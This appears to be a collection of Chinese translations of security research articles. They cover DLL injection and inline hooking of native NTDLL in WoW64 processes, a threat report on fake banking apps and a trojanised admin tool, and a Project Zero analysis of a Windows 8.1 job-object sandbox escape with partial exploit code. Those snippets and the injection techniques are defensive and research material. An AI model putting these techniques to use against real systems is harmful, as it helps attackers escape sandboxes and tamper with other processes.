因此，我们可以得出这样的结论:在这个场景中，`LdrLoadDll()`作为`ModuleHandle`接收的值总是指向一个可写的内存块，它包含一个上下文结构，从而允许成功的注入。然而，覆盖上下文结构的成员可能会有风险;如果任何重要信息被销毁，那么在调用`NtContinue()`之后，当试图恢复执行时，线程可能会崩溃。正如我们之前看到的，`LdrLoadDll()`只向ModuleHandle所指向的内存位置写入8字节(x64上的指针大小)，因此它只会覆盖上下文结构的第一个成员，它恰好是P1Home:
图17 -上下文结构的前0x34字节。传递给APC例程的参数存储在该上下文的偏移量0、0x8和0x10中，而APC例程的地址存储在偏移量0x18中。
幸运的是，上下文结构的前四个成员实际上用于KiUserApcDispatcher()的
[储存参数](https://github.com/svn2github/reactos/blob/d461c3f6a3cb7ce06d1d63a3370556f71d305b21/ntoskrnl/ke/amd64/stubs.c#L242)，并且在APC例程本身执行之后不再需要这些参数。为了确保覆盖P1Home确实是安全的，只需查看KiUserApcDispatcher()的prolog，如图16所示。通过仔细检查它的prolog，我们可以看到KiUserApcDispatcher()具有某种独特的调用约定。堆栈的顶部指向前面提到的上下文结构，除了CPU状态之外，这个结构还封装了APC例程的地址和传递给它的其他三个参数的值。
通过将图17所示的这个结构的偏移量与图16所示参数的偏移量相关联，我们可以得出这样的结论:
* P1Home持有NormalContext
* P2Home持有sysarg1
* P3Home持有sysarg2
* P4Home持有NormalRoutine，这是将从`KiUserCallForwarder()`调用的APC例程的地址。
图18 -调用APC例程时上下文结构的前0x30字节
由于成员P1Home到P4Home从未用于保存任何与cpu相关的数据，因此NtContinue()不会使用它们来恢复上下文。知道了这一点，我们可以假设从APC例程中重写P1Home没有什么害处。现在，我们可以重新创建注入器(如附录C所示)，通过排队一个直接调用LdrLoadDll()的APC，将本机模块注入任何WoW64进程，而不会导致臭名昭著的CFG违规错误。
## **小结**
这将结束本系列的第二部分。在前两篇文章中，我们演示了使用几种不同的方法将64位dll注入WoW64进程的能力。显然，有更多的方法可以这样做，但是找到它们是留给感兴趣的读者作为练习。
接下来:使用x64挂钩引擎来支持挂接本机NTDLL。
## **附录**
### **附录B WoW64进程安装**
### **附录C 无针APC注射**
> 原文：<https://www.sentinelone.com/blog/deep-hooks-monitoring-native-execution-> wow64-applications-part-2>
# Part 3
## **前情回顾**
前面([第一部分](https://www.sentinelone.com/blog/deep-hooks-monitoring-native-execution-wow64-applications-part-1/)和
[第二部分](https://www.sentinelone.com/blog/deep-hooks-monitoring-native-execution-wow64-applications-part-2/))我们演示了将64位模块注入[WoW64](https://www.sentinelone.com/blog/now-stage-deep-hooks-monitoring-native-execution-wow64-applications/)进程的几种不同方法。这篇文章将继续我们之前的话题，另外还会描述如何在这样的进程中利用执行64位代码的能力来钩住本地的x64
api。为了完成这项任务，注入的DLL必须拥有一个能够在WoW64进程的本机区域中运行的挂钩引擎。不幸的是，我们检查过的所有挂钩引擎都无法做到开箱即用，因此我们不得不修改其中一个引擎，以使其满足我们的需求。
## **创建被注入的DLL**
### **选择合适的Hook引擎**
Hook技术是计算机安全领域中一种成熟的技术，被防御者和攻击者广泛使用。自从1999年一篇开创性的文章《绕道而行:Win32函数的二进制拦截》发表以来，已经开发了许多不同的挂钩库。它们中的大多数与本文中介绍的概念相似，但在其他方面有所不同，比如它们对各种CPU架构的支持、对事务的支持等等。在这些库中，我们必须选择一个最适合我们需求的库:
1.支持x64函数的内联挂钩功能。
2.开源和免费许可——以便我们可以合法地修改它。
3.最好的情况是，挂钩引擎应该是相对最小的，以便需要尽可能少的修改。
在考虑了所有这些需求之后，我们选择将[MinHook](https://github.com/TsudaKageyu/minhook)作为我们的首选引擎。最终有利于它的是它的小代码基，这使得它在PoC中相对容易使用。后面介绍的所有修改都是在它之上完成的，如果使用另一个挂钩引擎，可能会略有不同
我们的修改挂钩引擎的完整源代码可以在[ **这里**](https://github.com/Sentinel-One/minhook)。
### **没有依赖性**
在第1部分中，我们简要地提到了没有任何64位模块可以轻松地加载到WoW64进程中。大多数dll倾向于使用(隐式和显式)常见的Win32子系统dll中的各种函数，例如`kernel32.dll`,
`user32`。但是，这些模块的64位版本默认不加载到WoW64进程中，因为WoW64子系统不需要这些64位版本来操作。此外，由于地址空间布局的一些限制，强迫进程加载其中任何一个都有些困难和不可靠。
为了避免不必要的麻烦，我们选择修改挂钩引擎和托管它的DLL，以便它们只依赖通常在WoW64进程中找到的本地64位模块。基本上，这只剩下了本地的NTDLL，因为包含WoW64环境的dll通常不包含对我们有益的函数。
在更实际的意义上，为了强制构建环境只链接NTDLL，我们在链接器设置中指定/NODEFAULTLIB标记，并显式地添加“NTDLL”。额外依赖的列表:
图19 主机DLL的链接器配置
### **API重新实现**
这一变化带来的第一个也是最值得注意的影响是，更高级别的Win32
API函数不能供我们使用，必须使用NTDLL对应的函数重新实现。如图20所示，对于MinHook使用的每个Win32
API，我们引入了一个替换函数，它具有相同的公共接口并实现相同的核心功能，而在内部只使用NTDLL工具。
大多数时候，这些“转换”相当简单(例如，对VirtualProtect()的调用几乎可以直接替换为对NtProtectVirtualMemory()的调用))。在其他更复杂的情况下，Win32
API函数与本地函数之间的映射并不清楚，因此我们不得不求助于一些反向工程或在[反应物源内部](https://github.com/reactos/reactos).进行窥探。
图20 `VirtualProtect()`的私有实现
### *** 项目配置**
在MinHook中重新实现了所有Win32 API调用之后，我们仍然有很多错误:
、
图21 一系列错误
幸运的是，解决大多数这些错误只需要对项目进行轻微的配置更改。从图中可以看出，大多数错误都采用了通常从CRT导出的未解析的外部符号的形式(这是不可用的)。可以通过在链接器设置中更改一些标志来解决:
* 禁用基本运行时检查(从命令行删除/RTC标志)
* 禁用缓冲区安全检查(/GS-标志)
* 入口点必须显式指定为DllMain，因为DllMainCRTStartup没有链接。
* 另外，memcpy()和memset()必须手动实现，或者替换为从NTDLL导出的对RtlCopyMemory()和RtlFillMemory()的调用。
在应用了所有这些更改之后，我们成功地创建了一个自定义64位DLL，它除了NTDLL外不包含任何依赖关系:
图22 -一个极简的DLL，只有一个导入描述符(NTDLL)
## **连接本机NTDLL**
一旦我们修改了挂钩引擎以匹配上述所有限制，我们就可以更深入地了解挂钩机制本身。MinHook以及大多数此类库所使用的挂钩技术被称为“[内联Hook]"(<https://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-1.html)”。这种技术的内部工作是相当详细的记录，但这里是这个方法包括的步骤的简化描述>:
1. 在进程的地址空间中分配一个“蹦床”，并将最终被钩住的函数的序言复制到其中。
2. 将JMP指令放在蹦床中，就在复制的prolog之后。这个JMP应该指向原函数序言后面的指令。
3. 在蹦床中放置另一条JMP指令，就在复制的prolog之前。这个JMP应该指向一个detour函数(通常在我们之前注入到进程中的DLL中)。
4. 用指向蹦床的JMP指令覆盖钩子函数prolog。
图23.1 内联钩子的一般示意图。
图23.2 蹦床的视图。用红色标记的是跳转到detour函数，用绿色标记的是从钩子函数复制的指令，然后跳转回该函数。
这个挂钩方法通过修改钩子函数的序言来工作，因此每当应用程序调用它时，都会调用detour函数。然后，detour函数可以执行任何代码之前、之后或替代原始函数。
在64位模式下，大多数挂钩引擎使用两种不同类型的跳转来实现挂钩功能和蹦床:
1. 从钩形函数到蹦床的跳转是一个编码为“E9 <4字节偏移>”的[相对跳转](https://c9x.me/x86/html/file_module_x86_id_147.html)。由于该指令在dword大小的操作数上运行，因此蹦床距离钩形函数的距离必须不超过2GB。这种形式的跳转通常被选择用于此步骤，因为它只占用5个字节，因此它足够紧凑，可以整齐地放入函数的prolog中。
2. 从蹦床跳到detour函数再跳到钩子函数，如图23.2所示，是被编码为“FF25 <4字节偏移>”(助记形式:JMP qword ptr [rip+偏移])的间接的、与rip相关的跳转。这条指令将跳转到一个64位的绝对地址，存储在RIP指向的位置加上偏移量。
在本地64位进程中运行时，使用这种技术的挂钩引擎工作得很好。可以预料，蹦床与目标函数的距离很短(高达2GB)，因此允许成功的二进制插装。
然而，最近对WoW64进程内存布局的一些更改保证了，如果没有一些额外的更改，这种技术就不能应用于本机NTDLL。约内斯库亚历克斯在他的博客,最近Windows版本(从Windows
8.1更新3),本机NTDLL已经搬迁:而不是被加载到低4 gb的地址空间与其他过程的模块,现在加载到一个更高的地址。
图24 Windows 10(左)和Windows 7(右)64位NTDLL的基本地址。
4GB边界上的其余地址空间(本机NTDLL和本机CFG位图除外)由SEC_NO_CHANGE
VAD保护，因此任何人都不能访问、分配或释放地址空间。这意味着蹦床总是被分配在地址空间的4GB下面。由于64位系统中总的用户模式地址空间是128TB，所以本机NTDLL和蹦床之间的距离肯定会远远大于2GB。这使得大多数挂接引擎释放的JMP都不够用。
图25 说明WoW64进程在Windows 8.1和更高版本上的内联钩子需要的控制传输。注意，在Windows 10 RS4预览版(build
17115)中，SEC_NO_CHANGE VADs似乎已经不存在了，内存可以在进程地址空间的任何地方分配。
### *** JMP的另一种形式**
为了克服这个问题，我们必须用不同的指令替换相对的JMP，该指令能够通过128TB的距离。在寻找替代品时，我们偶然发现了Gil
Dabah列出了一些可能的选项的帖子。在取消所有“玷污”注册表的选项之后，我们只剩下[几个可行的选项](http://www.ragestorm.net/blogs/?p=107)。最初，我们试图用一种类似于蹦床使用的间接的、与rip相关的JMP替换相对JMP:
这条指令在Windows 10上运行良好，为我们提供了一种在WoW64进程中测试各种本机API函数的方法。但是，当在Windows 8.1和Windows
7等早期Windows版本上测试修改后的代码时，它并没有完全创建钩子。事实证明，这些Windows版本中的NTDLL函数 比Windows
10的版本短](<http://blog.amossys.fr/windows10_TH2_int2E_mystery.html)中的要短，并且通常不包含足够的空间来容纳我们选择的JMP指令，这需要14个字节。>
图26 -在Windows 10 RS2(左)和Windows 8.1(右)中实现ZwAllocateVirtualMemory()。
要使我们的DLL在所有Windows版本中通用，我们必须找到一个更短的指令，仍然能够分支到蹦床。最终，我们提出了一个利用蹦床位置的解决方案:既然蹦床必须分配在地址空间的4GB以下，那么它的8字节地址的上4字节就归零了。这让我们可以使用以下选项，它只占用6个字节:
这种方法之所以有效，是因为在x64代码中，当与4字节操作数一起提供时，PUSH指令实际上会将8字节的值推送到堆栈上。上面的4字节用作符号扩展，这意味着只要4字节地址不大于2GB，它们就会为零。
然后我们使用RET指令，它从堆栈中弹出一个8字节的地址并跳转到它。因为我们刚刚把蹦床的地址推到了堆栈的顶部，那就是我们的返回地址。
图27 NtAllocateVirtualMemory()包含我们修改过的钩子。请注意前两个指令，它们将蹦床的地址推入堆栈，并立即“返回”到它。
这种方法只剩下一个问题，就是CFG引起的。正如在 [本系列的第2部分 ](https://www.sentinelone.com/blog/deep-hooks-monitoring-native-execution-wow64-applications-part-2/)中提到的，WoW64进程中的所有私有内存分配—包括用于钩子的蹦床—都被单独标记在WoW64 CFG位图中。
无论何时我们希望从绕道执行原始API函数，我们首先需要调用蹦床，以便运行该函数的prolog。但是，如果我们的DLL是用CFG编译的，它将尝试在调用之前根据本机CFG位图验证蹦床地址。由于这种不匹配，验证将失败，导致流程终止。
这个问题的解决方案相当简单——控制DLL的配置，我们可以简单地编译它而不启用CFG。这是通过从编译器的命令行中删除/guard:cf标志来完成的。
### **防止无限递归**
在使用挂钩引擎时要考虑的最后一个问题是无限递归。放置钩子之后，每当对钩子函数进行调用时，这个调用就会到达我们的迂回路径。但是，我们的迂回函数也执行它们自己的代码，这些代码本身可能会调用钩形函数，导致我们回到我们的迂回。除非小心处理，否则这会导致无限递归。
图28 当LdrLoadDll上的钩子试图加载另一个DLL时，无限递归
对于这个问题，通常有一个简单的解决方案:声明一个线程局部变量，它计算我们所处的递归的“深度”，并且第一次只在detour函数内部执行代码`(counter
== 1)`:
图29 -计算递归深度的线程局部变量
不幸的是，我们不能在DLL中使用线程局部变量，原因有两个:
1.隐式`TLS (__declspec(thread))`很大程度上依赖于CRT，我们无法使用它。
2.显式`TLS api (TlsAlloc() / TlsFree()`等)完全在kernel32中实现。它的64位版本没有加载到WoW64进程中。
尽管有这些限制，`wow64.dll`确实使用TLS存储，可以通过查看“!wow64exts.info”命令的输出来验证:
图30 WoW64 dll使用的TLS变量
结果是，Wow64。dll不会在运行时动态分配TLS插槽，而是在tlsslot数组中直接从TEB访问的硬编码位置(已经在每个线程的基础上实例化了)。
图31 Wow64SystemServiceEx将线程局部变量写入TlsSlots数组中的硬编码位置
经过一些经验测试，我们发现`WoW64.dll`从未使用过64位TEB中的大多数TLS插槽，因此对于这个PoC，我们可以预先分配其中一个来存储计数器。不能保证这个插槽在未来的Windows版本中不会使用，所以产品级别的解决方案可能会查看TEB的其他可用成员。
图32 使用未使用的TEB成员来计算递归的“深度”
## **总结**
这是我们“深钩”系列的第三部分也是最后一部分。在这三篇文章中，我们介绍了几种不同的方法，将64位DLL注入到WoW64进程中，然后使用它在64位NTDLL中挂钩API函数。希望这个选项能够让安全产品更好地了解WoW64进程，并使它们对“天堂之门”之类的绕过更有弹性。
在本系列文章中介绍的方法仍然有其局限性，以[新的缓解选项](https://msdn.microsoft.com/en-us/library/windows/desktop/ms686880\(v=vs.85).aspx)的形式出现，例如动态代码限制、CFG导出抑制和代码完整性保护。当启用时，这些可能会阻止我们创建钩子或完全阻止我们的注入，但在以后的文章中会详细介绍。
> 原文：<https://www.sentinelone.com/blog/deep-hooks-monitoring-native-execution-> wow64-applications-part-3> | 社区文章 |
# 黑产情报 | 定向“投毒”黑吃黑，剧情酷似“碟中谍”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
黑产江湖纷争不断
而今天要说剧情酷似“碟中谍”
Did you hear me?
The list is in the open.
你听见了吗？名单已经外泄。
——《碟中谍》
故事要从最早我们熟知的微商套路说起，微商朋友圈最常晒的除了豪车豪宅、名包名表，还有各种收款截图，营造一种轻轻松松赚大钱的迷惑氛围，当然最终目的就是：卖产品、招代理，“收割”这路子算是就这么打开了。
再后来，在一些诈骗案件中，也发现了不法分子制作虚假的转账截图行骗的情况。
从早期的调研情况看，此类截图很多来自于转账生成器或图片生成网站，类似于图片模板，快速生成银行转账截图、身份证照片。
**这就有一个问题**
**如果对方要求提供录制的转账视频**
**这种手法显然无法满足**
近期在黑灰产渠道，捕获到部分仿冒银行类应用，这些仿冒应用的作用原理就是通过 **云端配置+仿冒银行APP上下游配合**
，实现定制化的虚假转账过程，再录制转账视频，其效果比转账生成器或图片生成网站更加逼真。
在对产业分析的过程中，发现黑灰产人员一方面 **利用此类仿冒银行APP录制虚假转账视频进行欺诈行为** ，一方面利用仿冒银行APP为噱头，
**针对黑产人员群体进行定向投毒** ，增加自己的“肉鸡“数量及设备数据。
## 仿冒银行APP，可伪造转账截图和银行流水
根据情报渠道的演示视频，在管理后台，设置转账后的效果，如转账成功、转账失败、账户已冻结。
在仿冒银行APP中输入任意账户转账，可以得到最终的转账效果。
通过管理后台，还可以设置银行卡的信息、银行流水情况。
仿冒银行APP将展示伪造后的银行转账信息。
**黑产在玩一种很新的东西？**
**不确定，再看看**
## 仿冒银行APP生产链路分析
从黑产渠道获取的多个样本APP下载链皆指向同一域名A，虽然应用已失效，但不同的仿冒APP皆对应域名A下不同的子域名。
对仿冒APP的通联域名，其使用的服务器时间线进行了梳理发现， **每个2个月就更换服务器，** 这也比较符合黑产的行为特征。
故推测仿冒APP自2022年3月份上线后，期间通过不同的域名、不同的服务器生成不同的包名、签名应用，并存活至今。
**终于！！！**
**最绝的定向“投毒”环节来了**
## 关联黑吃黑手法
在黑灰产交流群里，群主除提供仿冒APP的下载链外，还同步提供仿冒APP的管理后台程序，而这个程序是一个 **带“毒”的zip格式压缩包。**
经过分析发现，该 **压缩包程序实际上是远控类木马，**
比对多个威胁情报平台捕获到的同源样本来看，木马伪装的程序名称包括接码、代付、诈骗话术等与黑产相关的“黑话”，推测 **“投毒”的目标是黑灰产从业人员。**
这就很有意思了
黑产人员在给同行提供便利的同时
自己还留了后门
而通过这个后门
可以随时控制“肉鸡”设备
这……狠起来连“自己人”都黑 | 社区文章 |
# 【技术分享】Windows8.1中的沙箱逃逸问题
|
##### 译文声明
本文是翻译文章，文章来源：blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2015_05_01_archive.html?m=0>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[Ox9A82](http://bobao.360.cn/member/contribute?uid=2676915949)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
这篇文章要讲解一个Windows 8.1系统中的未被修补的漏洞，这个漏洞可以允许你对作业（job
object）的限制进行逃逸。从而可以有助于开发Chrome浏览器中的沙盒逃逸利用程序，也适用于类似的其它沙盒保护机制。
如果你正试图开发一个款用户模式的安全沙盒程序，那么你是在依赖于系统底层机制的“施舍”。因为，就算你使尽了浑身解数用上了各种安全机制，有时操作系统本身的编写人员就会断送掉你的努力。这本来是我在Shmoocon
and Nullcon上面的演讲话题，主题是在Windows系统上保证一个用户态沙盒安全可靠的困难性。
**Windows 作业对象**
我们首先讲解一下Windows里的Job object到底是什么和Chrome利用它干什么。严格上来说作业其实跟安全没什么关系。job
object是一种把进程分组起来管理，然后限制访问通用资源的数量和种类的方式。如果你熟悉Unix，那么它很类似ulimit而且功能更强大一些。一个很明确的作用，就是用它来限制一个进程能做的事情。举例来说，Chrome渲染器进程属于以下的job
object。
这个作业对象限制了进程访问一些UI的功能，比如剪贴板。但是它同时还限制了作业中的活动进程只能有一个。这意味着如果你想在作业中新建一个子进程将会被拒绝，并且这项措施是在内核中实现的。当你使用一个受限的token运行时，这只是一个障碍而已。然而，当使用一个普通的用户时你可以使用系统服务例如：WMI或者计划任务来逃逸。
存在一些漏洞会受益于创建子进程，所以打破作业的限制对于构造利用链是很有用的。接下来，我们来看一下可以让我们打破作业对象限制的漏洞。
**控制台驱动的漏洞**
在早期版本的Windows系统中（XP及之前），控制台窗口由客户端-服务器运行时子系统负责处理，比如广为人知的CSRSS。这个子系统实现Win32窗口系统的用户态部分。但是这样就有一个不利条件，你不能正确应用主题到窗口上，这就是为什么控制台窗口看起来与XP系统不协调。因此在Windows的更高版本中，引入了一个新进程，conhost.exe，它将在用户的桌面上生成以处理控制台窗口。然而，CSRSS仍然参与到创建conhost进程的新实例中。
所有在Windows 8.1中改变。代替CSRSS负责，引入了一个新的内核驱动程序condrv.sys。驱动程序公开设备对象 Device
ConDrv，可以从任何用户上下文访问，即使一个严重锁定作为Chrome渲染器。事实上，没有已知的方法来删除访问驱动程序。使用设备IO控制代码将命令发送到驱动程序。感兴趣的命令是CdpLaunchServerProcess，负责创建conhost可执行文件。直接调用它是有点涉及，特别是在64位版本的Windows，所以我们可以只调用Windows
API AllocConsole，它会为我们做。
让我们看看CdpLaunchServerProcess调用的创建conhost.exe进程新实例的代码。
NTSTATUS CdpCreateProcess(PHANDLE handle,
HANDLE token_handle,
PRTL_USER_PROCESS_PARAMETERS pp) {
HANDLE thread_handle;
NTSTATUS result;
PROCESS_ATTRIBUTE_LIST attrib_list;
SetProcessExecutable(&attrib_list, L"\SystemRoot\System32\Conhost.exe");
SetProcessToken(&attrib_list, token_handle);
result = ZwCreateUserProcess(
handle,
&thread_handle,
...,
PROCESS_BREAKAWAY_JOB, // Process Flags
CREATE_SUSPENDED, // Thread Flags
...,
&attrib_list);
if ( result < 0 )
*handle = NULL;
else
ObCloseHandle(thread_handle, 0);
return result;
}
在这段与漏洞直接相关的代码中有两个非常重要的事情需要注意。首先，它调用一个Zw形式的系统调用NtCreateUserProcess。这个前缀表示将调用系统调用，就像它是来自内核模式而不是用户模式的系统调用。这是很重要的，因为它意味着任何安全检查都会在进程创建过程中被绕过。如果驱动程序调用正常的Nt形式函数，它将不可能从像Chrome渲染器那样的环境中进行逃逸，如果没有它conhost.exe文件就无法打开（试图打开会返回拒绝访问），使这个函数很快失效。
第二个重要的事情是传递PROCESS_BREAKAWAY_JOB标志作为进程标志。虽然这个函数没有文档，但是通过逆向工程的内核代码，你会发现这个标志的意思是新进程不应该与父进程处于一个作业中。这意味着一个受限的作业对象可以被逃逸。当在内核中处理这个标志期间，会检查SeTcbPrivilege;然而，当从内核模式调用时，不管调用者是谁这个检查都会被绕过。
最终结果是：
文件安全检查被绕过，导致conhost进程被创建。
因为PROCESS_BREAKAWAY_JOB标记已通过，因此具有限制性的作业对象将会被逃逸。
对于受限的作业对象（如Chrome GPU进程或Adobe
Reader）的某些用户，你想利用这个问题的所需的全部操作就是调用AllocConsole。但是，我们将看到对于Chrome渲染器来说它不是那么简单的。
在Chrome渲染器中利用这个问题
我们想去尝试利用一下Chrome渲染器，Chrome渲染器是Chrome中使用最多的锁定沙箱进程。我们碰到的第一个挑战是让代码在渲染器的上下文中运行以测试这个漏洞。
渲染器中的通用测试代码
最显而易见的想法就是使用DLL注入，不幸的是这是说起来容易做起来难的事情。渲染器进程的主令牌限制严格，以至于几乎不可能在磁盘上打开一个文件，所以当你注入一个新的线程来加载DLL文件时，将会打开失败。
现在，你可以重新编译Chromium然后调整一下沙箱的策略，就可以访问磁盘的任意位置。但从M37以后，有一种方法使得我们可以欺骗并利用一个release版程序。M37增加了对DirectWrite字体渲染的支持，为了实现这一点，沙盒策略中添加了一条允许读取Windows字体目录。因此，如果我们将我们的DLL放入％windir％
Fonts我们就可以让它加载。当然，为了实现这一点，你需要在系统上以管理员身份执行代码，因此它不会对Chrome的安全造成威胁。我们还需要调整一些DLL的构建设置，假设你使用Visual
Studio，具体来说：
删除manifest，因为它不能在限制性的沙箱中使用。
静态链接DLL，因为一旦初始化你就不能轻易的打开其他DLL了。
**测试Exploit**
当一个dll文件可由Chrome的渲染器进程打开时，我们就可以注入一个线程，然后调用LoadLibrary以在进程中执行代码。作为我们的第一次测尝试，我们先试着调用AllocConsole，看看会发生什么。如果我们使用进程监视器进行监视，我们会发现正在创建的conhost进程，但它永远不会执行，事实上，它几乎是以负的状态码立即退出的。
如果我们把退出状态码转换成一个无符号整数，我们得到了0xC0000022相当于STATUS_ACCESS_DENIED。
显然，很一些什么东西很不高兴，然后杀死了这个过程。为了理解到底发什么了什么，让我们再看一些进程创建后的代码。
NTSTATUS CdpLaunchServerProcess(
FILE_OBJECT* ConsoleFile,
PRTL_USER_PROCESS_PARAMETERS pp) {
HANDLE hToken;
HANDLE hProcess;
NTSTATUS status;
PACCESS_TOKEN tokenobj = PsReferencePrimaryToken();
ObOpenObjectByPointer(tokenobj, ..., &hToken);
status = CdpCreateProcess(&hProcess, &hToken, pp);
if (status >= STATUS_SUCCESS) {
HANDLE hConsoleFile;
status = ObOpenObjectByPointer(ConsoleFile,
0, 0, GENERIC_ALL, IoFileObjectType,
UserMode, &hConsoleFile);
if (status >= STATUS_SUCCESS) {
// Modify process command line...
ZwResumeProcess(hProcess);
}
}
if (status < STATUS_SUCCESS) {
ZwTerminateProcess(hProcess, status);
}
return status;
}
这个代码做的是创建进程，然后它创建一个新的句柄到当前控制台设备对象，所以它可以将它在命令行上传递到conhost进程。观察执行流程可以发现，进程被杀死（使用ZwTerminateProcess）的唯一方式是，如果ObOpenObjectByPointer在尝试创建新的句柄时返回STATUS_ACCESS_DENIED。但是这怎么可能发生？我们最初就是这么打开设备文件的，不应该也能够用相同的访问权限再次打开？事实却不是这样的，因为FILE_OBJECT有一个相关的安全描述符，DACL没有给我们受限令牌的GENERIC_ALL访问权限。正如我们在下面的截图中可以看到的，我们缺少一个渲染器的令牌限制SID（S-1-0-0）的条目，它允许限制令牌成功检查。
不要被RESTRICTED组条目欺骗。RESTRICTED组只是在使用受限令牌时的约定，除非令牌是作为受限制的SID创建的，否则它不会起任何作用。那么这意味着我们永远都不能在Chrome中利用这个bug？当然不是，我们只需要了解FILE_OBJECT的DACL是如何设置的。
与通常从父容器继承其DACL的文件和注册表键不同，内核对象从当前访问令牌中的特殊字段获取其默认的DACL。我们可以通过使用TokenDefaultDacl作为信息类来传递适当的结构到SetTokenInformation来修改当前令牌的默认DACL。我们可以做到这一点，而不需要任何特殊权限。但是要把DACL设置为什么呢？如果我们查看访问令牌的已启用组，会发现我们只有当前用户SID和登录SID。然而，由于令牌也是受限令牌，我们需要授予对受限SID（S-1-0-0，NULL
SID）的访问权限，否则访问检查仍会失败。因此，让我们更改默认DACL以指定对登录SID和NULL SID的完全访问权限。
void SetCurrentDacl()
{
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
WCHAR sddl[256];
PSECURITY_DESCRIPTOR psd = nullptr;
StringCchPrintf(sddl, _countof(sddl),
L"D:(A;;GA;;;%ls)(A;;GA;;;S-1-0-0)", GetLogonSid());
if (ConvertStringSecurityDescriptorToSecurityDescriptor(sddl,
SDDL_REVISION_1, &psd, nullptr))
{
BOOL present;
BOOL defaulted;
PACL dacl;
GetSecurityDescriptorDacl(psd, &present, &dacl, &defaulted);
TOKEN_DEFAULT_DACL default_dacl;
default_dacl.DefaultDacl = dacl;
SetTokenInformation(hToken, TokenDefaultDacl,
&default_dacl, sizeof(default_dacl));
LocalFree(psd);
}
}
}
现在在设置当前DACL后，我们可以再试一次，但AllocConsole仍然失败。然而，看看错误代码，我们至少已经解决了最初的问题。进程监视器显示进程的退出代码为STATUS_DLL_NOT_FOUND，它告诉我们发生了什么。
当进程的第一个线程运行时，它实际上并不直接在进程入口点开始。相反，它在NTDLL中运行一段特殊的代码（LdrInitializeThunk）来初始化当前进程。正如Ldr前缀表明的（它是Loader的简称），该函数负责扫描进程的导入DLL，将它们加载到内存并调用它们的初始化函数。在这种情况下，进程令牌是受限制的，我们甚至打不开典型的DLL文件。幸运的是，在创建的进程和用ZwResumeProcess恢复初始线程之间有一个时间窗口。如果我们可以在这个窗口中捕获进程，我们就可以把进程初始化为一个空的shell。但我们怎么做呢？
**捕获新进程**
一个显而易见的利用方法是在时间窗口期间打开新进程，然后使用这个句柄调用NtSuspendProcess。这可以实现，因为挂起/恢复操作引用引用计数。该进程以暂停计数——1开始，因为内核驱动程序使用CREATE_SUSPENDED标志创建了初始线程，因此，如果我们快速调用NtSuspendProcess，我们可以将其增加到2。然后，驱动程序通过调用ZwResumeProcess减少计数，但这只会将计数降低到1，内核将挂起线程。然后，我们可以操作新进程以删除初始化代码并在作业对象外部运行。
但这个计划有一个比较大的问题。通常，当创建一个新进程时，将返回该进程的句柄，但这里不是这样的情况，因为内核驱动程序在返回到调用者之前会关闭内核模式句柄。因此，我们需要通过其PID打开进程，但估计这可能会是很难办的。因为现代的Windows系统并不是简单的依次递增PID值，而是会在一段时间后回收重新使用旧的PID值。我们可以通过猜测，但每一次错误的猜测都是在浪费时间。你会发现，暴力的方法是几乎不可能奏效的。
所以我们被卡在这里了吗？当然不是，我们只需要使用进一步的未文档化的功能。内核暴露了一个系统调用，NtGetNextProcess，顾名思义，它用来获得下一个进程。但下一个是什么呢？如果你已经对Windows内部原理有所了解，你会知道进程对象在内核中的一个链表被链接到一起。这个系统调用将句柄放入一个进程对象中，并找到链表中可由当前用户打开的下一个进程。
在默认情况下，是没有其他进程可以被当前进程在列表中打开的，甚至它本身，这是由于那个讨厌的默认DACL。这意味着正常的NtGetNextProcess调用总会失败。当新的conhost进程创建时，它继承了我们可以访问的新的修改了的默认DACL，这意味着我们可以使用一个非常小的循环调用NtGetNextProcess直到成功。返回的句柄几乎肯定是conhost，所以我们可以快速暂停进程，现在可以争取尽可能多的时间，这是我们喜欢的。
我们需要在一个线程中这样做，因为AllocConsole将阻塞，但这不是一个问题。 例如：
HANDLE GetConhostProcess()
{
HANDLE hCurr = nullptr;
while (!hCurr)
{
hCurr = nullptr;
if (NtGetNextProcess(hCurr, MAXIMUM_ALLOWED,
0, 0, &hCurr) == 0)
{
NtSuspendProcess(hCurr);
return hCurr;
}
}
return 0;
}
因此，通过处理conhost进程，我们可以修改LdrInitializeThunk方法来防止它失败并注入一些shellcode。你只有NTDLL服务，因为没有其他DLL会被映射。我们仍然达成了目标，你现在可以对一个受限的Job对象进行逃逸了，即使是在这样一个锁定的进程中。你现在要用这种力量去做什么完全取决于你自己。
**结论**
那么这有什么用呢？好吧，我是开玩笑的，至少从沙箱里面直接逃逸是不行的。它只是削弱了一些防御，并且扩展了攻击面，以便利用其他问题。我可以理解为什么微软不想修复它，因为它的行为以这种方式实现向后兼容性，所以改变它将是很困难的。这说明我相信它可以在当前进程调用API的安全上下文中工作，因为很少有应用程序使用这种限制性令牌作为应用程序沙箱。
此外，Chrome还在努力进一步减少安全方面的问题。例如，当作业中断删除强制的作业UI限制时，Chrome现在在所有受影响的平台上使用win32k锁定，据我所知，即使在子进程中也不能进行禁用。安全缓解措施在继续发展，利用了平台的各种新特性，然而安全问题的回归是不可避免的。开发良好的沙箱不应依赖于任何一个平台功能的安全性，因为该功能可能随时中断掉。 | 社区文章 |
# 【技术分享】基于虚拟化的安全（part2）：内核通信
|
##### 译文声明
本文是翻译文章，文章来源：amossys.fr
原文地址：<http://blog.amossys.fr/virtualization-based-security-part2.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：140RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**传送门**
[**【技术分享】基于虚拟化的安全（part1）：引导过程**
****](http://bobao.360.cn/learning/detail/3493.html)
**0x00 前言**
本文是基于虚拟化的安全和设备保护功能的第二篇文章。在[第一篇](http://bobao.360.cn/learning/detail/3493.html)中，我们涵盖了系统引导过程，从Windows
bootloader到VTL0启动。在本文中，我们将解释在VTL0和VTL1之间如何内核通信。因为他们使用hypercall来通信，我们将首先介绍Hyper-V的hypercall的实现，然后是内核如何使用他们来通信。最终，我列出了在这个工作中我们确定的所有的不同的hypercall和安全服务调用。
**0x01 Hyper-V hypercall**
